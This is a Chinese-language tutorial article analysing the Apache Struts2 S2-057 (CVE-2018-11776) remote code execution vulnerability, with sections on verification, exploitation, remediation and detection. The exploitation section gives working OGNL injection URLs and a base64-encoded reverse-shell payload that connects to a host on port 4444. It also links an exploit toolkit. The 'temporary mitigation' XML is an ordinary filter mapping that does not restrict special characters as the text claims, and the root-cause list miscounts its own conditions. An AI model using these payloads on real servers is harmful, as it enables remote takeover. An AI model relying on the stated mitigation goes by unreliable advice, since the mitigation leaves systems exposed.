插件窝 干货文章 如何进行Apache Struts2 S2-057远程代码执行漏洞分析

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

漏洞 namespace Struts2 Struts 401    来源:    2025-04-24

Apache Struts2 S2-057远程代码执行漏洞分析

漏洞概述

S2-057是Apache Struts2框架中的一个严重远程代码执行漏洞,于2018年8月22日公开。该漏洞存在于Struts2的核心机制中,当应用程序使用不正确的配置时,攻击者可以构造恶意请求实现远程代码执行。

漏洞编号

  • CVE-2018-11776

受影响版本

  • Struts 2.3 - 2.3.34
  • Struts 2.5 - 2.5.16

漏洞原理

根本原因

漏洞源于Struts2在以下两种情况下未能正确验证URL: 1. 未设置namespace值或使用了通配符namespace 2. 上层action配置中未设置或使用了通配符namespace 3. url标签未设置value和action值

技术细节

当Struts2处理请求时,如果namespace参数来自用户输入且未经过适当验证,攻击者可以构造恶意OGNL表达式,导致远程代码执行。

关键问题出现在DefaultActionMapper类中,该组件负责将HTTP请求映射到Action调用。当处理重定向结果时,未能正确清理用户提供的namespace参数。

漏洞验证

环境搭建

  1. 下载受影响版本的Struts2示例应用
  2. 配置一个存在namespace问题的action

验证步骤

  1. 构造恶意URL:
http://target/struts2-showcase/$%7B233*233%7D/actionChain1.action
  1. 如果返回结果中显示54289(233*233的结果),则证明存在漏洞

漏洞利用

基本利用

构造包含OGNL表达式的URL:

http://target/struts2-showcase/$%7B@java.lang.Runtime@getRuntime().exec("calc")%7D/actionChain1.action

高级利用

  1. 反弹shell:
${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}")}
  1. 文件写入:
${#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#f.println('test'),#f.flush(),#f.close()}

修复方案

官方修复

  1. 升级到以下安全版本:
    • Struts 2.3.35
    • Struts 2.5.17

临时缓解措施

  1. 在配置文件中限制namespace参数:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
  1. 在web.xml中添加过滤器限制特殊字符:
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>

检测方法

  1. 使用漏洞扫描工具:

    • Nessus
    • OpenVAS
    • Nmap脚本:http-vuln-cve2018-11776
  2. 手工检测:

    • 检查应用是否使用受影响版本的Struts2
    • 检查是否存在未设置namespace的action配置

分析工具

  1. Burp Suite:拦截修改请求测试漏洞
  2. OGNL表达式测试工具
  3. Struts2漏洞利用框架: bash git clone https://github.com/hktalent/Struts2VulsTools

总结

S2-057是一个严重的远程代码执行漏洞,影响范围广。IT安全团队应优先检查并修复受影响的Struts2应用。修复后应进行全面的安全测试以确保漏洞已被彻底解决。